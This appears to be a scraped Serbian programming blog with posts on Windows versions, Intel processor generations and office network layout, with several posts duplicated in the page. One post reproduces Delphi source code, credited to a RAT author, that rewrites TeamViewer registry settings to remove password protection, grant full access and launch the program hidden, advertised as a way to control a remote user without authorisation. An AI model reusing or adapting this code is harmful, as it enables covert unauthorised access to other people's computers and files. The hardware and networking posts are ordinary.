beogradsko programiranje
Friday, June 30, 2017
Tuesday, June 27, 2017
Monday, June 26, 2017
Wednesday, June 21, 2017
Koliko ste zastareli ?
Windows 7 neće dobijati update za 7-mu generaciju procesora.
Onda morate preći na Windows 8.1 ili 10.
Gde ste još zastareli Vi i Vaša konfiguracija ?
Trenutno je aktuelna 8-ma generacija procesora:
http://wccftech.com/intel-core-i7-8000-series-8th-gen-processors/
Iskustva iz prakse (prve ruke):
U našoj firmi smo kupovali nove kompjutere svake godine od 2012. do sada po desetak komada sa legalnim Microsoft Windows-om, najpre smo počeli sa Windows 7, pa sa Windows 8, uskoro se pojavljuje Windows 8.1, pa 10, a većina Windows 8.1 je preko redovnog update-a prešlo automatski sa Windows 8.1 na Windows 10. Neki Računari sa Windows 8 još uvek nude opciju udate na Windows 8.1, ali uvek pritiskamo "NO", jer nemamo vremena za taj glomazni update koji često utiče na drajvere za štampače i skenere. Utiče da "pobrljave" neki ranije instalirani drajveri za štampače i skenere, pa onda morate sa interneta da skidate najnovije verzije i instalirate drajvere naknadno za Windows 10, na primer.
Nije istina da je Windows 7 najbolji Windows, naša iskustva su da je Windows 8.1 solidan, a ni Windows 10 nije loš, Windows 8 je prosečan, a Windows 7 je veoma spor, čak i na višejezgarnim serverima u odnosu na sve sledeće "inkarnacije" Windows-a.
Windows XP je upotrebljiv i na starijim kompjuterima (starim 15-tak godina).
Windows 10 radi dobro i na 10-tak godina starim kompjuterima, ali je idealno da su kompjuteri bar 5 godina stari.
Mana Windows 10 je "Unstoppable Update" koji guši velike mreže korporacijskih računara.
Windows 8.1 je nešto slabijih mogućnosti od Windows 10, ali ima sve što treba i može da se izbegne redovan "Update".
Situacija sa Linux-om:
Najnovije verzije Linuxa su "halapljivije" za resursima od Windows 10, jedino ukoliko koristite neku staru verziju Linuxa ili neku distribuciju poput Centos-a koja se godinama nije update-ovala, onda možete uživati u besprekornom radu, koji je u tom slučaju mnogo stabilniji od Windows-a (ukoliko računare koristite ka servere).
Kod linuxa morate pažljivo birati hardver, štampači bi trebalo da su HP, a za skenere pogledajte koje marke pokriva vaša distribucija Linuxa. U principu ko izabere HP uredjaje, pogotovo one driver less neće ni imati potrebe za drajverima. Onda su tu i Wi-Fi ready uredjaji, mrežni uredjaji koji se "kače" na LAN mrežu i slični.
Izbegavajte sve USB varijante kod linuxa, bolje da budu mrežne LAN varijante (mislim na Wi-Fi i druge Router-e, štampače, skenere, MFU,...).
Evo koji su kompjuteri danas u modi glede na ranije godine od 2011. godine do 2017. godine:
Onda morate preći na Windows 8.1 ili 10.
Gde ste još zastareli Vi i Vaša konfiguracija ?
Trenutno je aktuelna 8-ma generacija procesora:
http://wccftech.com/intel-core-i7-8000-series-8th-gen-processors/
Iskustva iz prakse (prve ruke):
U našoj firmi smo kupovali nove kompjutere svake godine od 2012. do sada po desetak komada sa legalnim Microsoft Windows-om, najpre smo počeli sa Windows 7, pa sa Windows 8, uskoro se pojavljuje Windows 8.1, pa 10, a većina Windows 8.1 je preko redovnog update-a prešlo automatski sa Windows 8.1 na Windows 10. Neki Računari sa Windows 8 još uvek nude opciju udate na Windows 8.1, ali uvek pritiskamo "NO", jer nemamo vremena za taj glomazni update koji često utiče na drajvere za štampače i skenere. Utiče da "pobrljave" neki ranije instalirani drajveri za štampače i skenere, pa onda morate sa interneta da skidate najnovije verzije i instalirate drajvere naknadno za Windows 10, na primer.
Nije istina da je Windows 7 najbolji Windows, naša iskustva su da je Windows 8.1 solidan, a ni Windows 10 nije loš, Windows 8 je prosečan, a Windows 7 je veoma spor, čak i na višejezgarnim serverima u odnosu na sve sledeće "inkarnacije" Windows-a.
Windows XP je upotrebljiv i na starijim kompjuterima (starim 15-tak godina).
Windows 10 radi dobro i na 10-tak godina starim kompjuterima, ali je idealno da su kompjuteri bar 5 godina stari.
Mana Windows 10 je "Unstoppable Update" koji guši velike mreže korporacijskih računara.
Windows 8.1 je nešto slabijih mogućnosti od Windows 10, ali ima sve što treba i može da se izbegne redovan "Update".
Situacija sa Linux-om:
Najnovije verzije Linuxa su "halapljivije" za resursima od Windows 10, jedino ukoliko koristite neku staru verziju Linuxa ili neku distribuciju poput Centos-a koja se godinama nije update-ovala, onda možete uživati u besprekornom radu, koji je u tom slučaju mnogo stabilniji od Windows-a (ukoliko računare koristite ka servere).
Kod linuxa morate pažljivo birati hardver, štampači bi trebalo da su HP, a za skenere pogledajte koje marke pokriva vaša distribucija Linuxa. U principu ko izabere HP uredjaje, pogotovo one driver less neće ni imati potrebe za drajverima. Onda su tu i Wi-Fi ready uredjaji, mrežni uredjaji koji se "kače" na LAN mrežu i slični.
Izbegavajte sve USB varijante kod linuxa, bolje da budu mrežne LAN varijante (mislim na Wi-Fi i druge Router-e, štampače, skenere, MFU,...).
Evo koji su kompjuteri danas u modi glede na ranije godine od 2011. godine do 2017. godine:
Intel CPU Generation Comparison:
Intel Sandy Bridge Platform | Intel Ivy Bridge Platform | Intel Haswell Platform | Intel Broadwell Platform | Intel Skylake Platform | Intel Kaby Lake Platform | Intel Coffee Lake Platform | Intel Cannonlake Platform | |
---|---|---|---|---|---|---|---|---|
Processor Architecture | Sandy Bridge | Ivy Bridge | Haswell | Broadwell | Skylake | Kaby Lake | Coffee Lake | Cannonlake |
Processor Process | 32nm | 22nm | 22nm | 14nm | 14nm | 14nm | 14nm | 10nm |
Processors Cores (Max) | 4 | 4 | 4 | 4 | 4 | 4 | 6 | TBA |
Platform Chipset | 6-Series “Cougar Point” | 7-Series “Panther Point” | 8-Series “Lynx Point” | 9-Series “Wild Cat Point” | 100-Series “Sunrise Point” | 200-Series “Union Point” | 300-Series | TBA |
Platform Socket | LGA 1155 | LGA 1155 | LGA 1150 | LGA 1150 | LGA 1151 | LGA 1151 | LGA 1151? | TBA |
Memory Support | DDR3 | DDR3 | DDR3 | DDR3 | DDR4/DDR3L | DDR4/DDR3L | DDR4 | DDR4 |
TDPs | 35-95W | 35-77W | 35-84W | 65W | 35-91W | 35-91W | TBA | TBA |
Thunderbolt | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes |
Platform | Desktop LGA | Desktop LGA | Desktop LGA | Desktop LGA | Desktop LGA | Desktop LGA | Desktop LGA | Desktop LGA |
Launch | 2011 | 2012 | 2013-2014 | 2015 | 2015 | 2016-2017 | 2017 | 2018 |
Koliko kompjutera mozete spojiti na jedan ADSL ?
Iz prakse podaci, problem:
1 ADSL -> 1 Router -> gomila Switch-eva -> 60 lan (utp) + 40 wi-fi korisnika (preko 2 Wi-Fi routera)
Ovakva kombinacija pri brzini ADSL-a 20/1 će veoma teško funkcionisati ukoliko imate nekoliko zahtevnih korisnika na mreži koji slušaju internet radio ili You Tube na HD.
Ovde imamo 60 lan korisnika, a već kada cifra korisnika predje 40 nastaju problemi sa seckanjem - veoma otežanim učitavanjem internet stranica.
Rešenje problema:
Idealno rešenje je da se u firmama koje imaju 100-tinak zaposlenih podele u grupe od po najviše 20 lan korisnika na svaki ADSL, VDSL, kablovski ili optiku.
Pored toga svaka od ovih grupa bi mogla da nakači još po jedan Wi-Fi router za dodatnih 20 korisnika.
Tako da sada u našoj firmi imamo:
1 adsl 10/1
1 adsl 20/1
1 vdsl 50/2
1 optiku 10/10
Broj korisnika na mreži je oko 100.
Napominjem da u našoj firmi je veoma teško zabraniti YouTube, inernet radio, facebook, ... jer nema "političke saglasnosti", što se tiče tehničkih mogućnosti to nije problem, veoma jednostavno se može ograničiti preko routera.
Znači, za neograničenu upotrebu interneta bez problema u saobraćaju imate recept za 100% rešenje istog.
Korišćena je uglavnom TP-Link oprema (switch-evi i router-i), moguće je da je situacija nešto povoljnija kod Cisco opreme, ali veoma zanemarljivo, jer praksa je tu da pokaže gde teorija "CURI".
Prednost ovako segmentirane mreže je da kad otkaže neki od adsl, vdsl i optičkih uredjaja, uvek imate alternativnu vezu sa internetom, pogotovo ukoliko su uredjaji od različitih provajdera. (Eunet, Telekom Srbije, SBB, PTT, VIP,...)
1 ADSL -> 1 Router -> gomila Switch-eva -> 60 lan (utp) + 40 wi-fi korisnika (preko 2 Wi-Fi routera)
Ovakva kombinacija pri brzini ADSL-a 20/1 će veoma teško funkcionisati ukoliko imate nekoliko zahtevnih korisnika na mreži koji slušaju internet radio ili You Tube na HD.
Ovde imamo 60 lan korisnika, a već kada cifra korisnika predje 40 nastaju problemi sa seckanjem - veoma otežanim učitavanjem internet stranica.
Rešenje problema:
Idealno rešenje je da se u firmama koje imaju 100-tinak zaposlenih podele u grupe od po najviše 20 lan korisnika na svaki ADSL, VDSL, kablovski ili optiku.
Pored toga svaka od ovih grupa bi mogla da nakači još po jedan Wi-Fi router za dodatnih 20 korisnika.
Tako da sada u našoj firmi imamo:
1 adsl 10/1
1 adsl 20/1
1 vdsl 50/2
1 optiku 10/10
Broj korisnika na mreži je oko 100.
Napominjem da u našoj firmi je veoma teško zabraniti YouTube, inernet radio, facebook, ... jer nema "političke saglasnosti", što se tiče tehničkih mogućnosti to nije problem, veoma jednostavno se može ograničiti preko routera.
Znači, za neograničenu upotrebu interneta bez problema u saobraćaju imate recept za 100% rešenje istog.
Korišćena je uglavnom TP-Link oprema (switch-evi i router-i), moguće je da je situacija nešto povoljnija kod Cisco opreme, ali veoma zanemarljivo, jer praksa je tu da pokaže gde teorija "CURI".
Prednost ovako segmentirane mreže je da kad otkaže neki od adsl, vdsl i optičkih uredjaja, uvek imate alternativnu vezu sa internetom, pogotovo ukoliko su uredjaji od različitih provajdera. (Eunet, Telekom Srbije, SBB, PTT, VIP,...)
Thursday, June 8, 2017
teamviewer 3,4
-----------------------------------------------------
This is a realy sample way to hack the team viewer legal software with this unit
you can down the protection and get the logins of teamviewer !
then you can control the remote guy without any autorisation : >> Only by
registry !
-----------------------------------------------------
Author : DarkCoderSc
Mail : DarkCoderSc@Unremote.org
Web-Site : Http://synsecurity.net/ & Http://unremote.org/
& http://darkcomet-rat.com
----------------------------------------------------
Require Registry.pas , Classes , Sysutils to be add in uses
----------------------------------------------------
*)
unit UntTVHack;
interface
Uses Windows,Registry,Sysutils,ShellAPI;
{---------------------------------------------------}
Procedure TVUnactivePassWD;
Procedure TVFullAccess;
Function TVID : Integer;
Function TVFormatIDToString(TID:Integer) : String;
Procedure RunTVHide;
Function TVCheckVersion : String;
Function TVGetFullVersion : String;
Function GetTVPath:String;
{---------------------------------------------------}
implementation
{---------------------------------------------------}
Const TeamViewer0 = 'SOFTWARE\TeamViewer';
{---------------------------------------------------}
{Get the TV Version---------}
Function TVCheckVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{Get the Full TV Version-----------------------------}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This will unactive team viewer pass word protection O_o}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This will give the full access of dekstop and files}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This will give the Team Viewer ID}
Function TVID : Integer;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadInteger('ClientID'); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This little function will format in String- the TeamViewer ID}
Function TVFormatIDToString(TID:Integer) : String;
Var bloc,bloc1,bloc2,bloc3:String;
Begin
bloc := IntToStr(TID);
{Parse ID------------------------}
bloc1 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc2 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc3 := Copy(bloc,1,3);
Delete(bloc,1,3);
{--------------------------------}
Result := bloc1+' '+bloc2+' '+bloc3;
End;
{---------------------------------------------------}
{Now Launch Team Viewer Hidely}
Procedure RunTVHide;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
Function GetTVPath:String;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
Result := TVPath;
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
end.
This is a realy sample way to hack the team viewer legal software with this unit
you can down the protection and get the logins of teamviewer !
then you can control the remote guy without any autorisation : >> Only by
registry !
-----------------------------------------------------
Author : DarkCoderSc
Mail : DarkCoderSc@Unremote.org
Web-Site : Http://synsecurity.net/ & Http://unremote.org/
& http://darkcomet-rat.com
----------------------------------------------------
Require Registry.pas , Classes , Sysutils to be add in uses
----------------------------------------------------
*)
unit UntTVHack;
interface
Uses Windows,Registry,Sysutils,ShellAPI;
{---------------------------------------------------}
Procedure TVUnactivePassWD;
Procedure TVFullAccess;
Function TVID : Integer;
Function TVFormatIDToString(TID:Integer) : String;
Procedure RunTVHide;
Function TVCheckVersion : String;
Function TVGetFullVersion : String;
Function GetTVPath:String;
{---------------------------------------------------}
implementation
{---------------------------------------------------}
Const TeamViewer0 = 'SOFTWARE\TeamViewer';
{---------------------------------------------------}
{Get the TV Version---------}
Function TVCheckVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{Get the Full TV Version-----------------------------}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This will unactive team viewer pass word protection O_o}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This will give the full access of dekstop and files}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This will give the Team Viewer ID}
Function TVID : Integer;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadInteger('ClientID'); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
{This little function will format in String- the TeamViewer ID}
Function TVFormatIDToString(TID:Integer) : String;
Var bloc,bloc1,bloc2,bloc3:String;
Begin
bloc := IntToStr(TID);
{Parse ID------------------------}
bloc1 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc2 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc3 := Copy(bloc,1,3);
Delete(bloc,1,3);
{--------------------------------}
Result := bloc1+' '+bloc2+' '+bloc3;
End;
{---------------------------------------------------}
{Now Launch Team Viewer Hidely}
Procedure RunTVHide;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
Function GetTVPath:String;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
Result := TVPath;
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{---------------------------------------------------}
end.
Subscribe to:
Posts (Atom)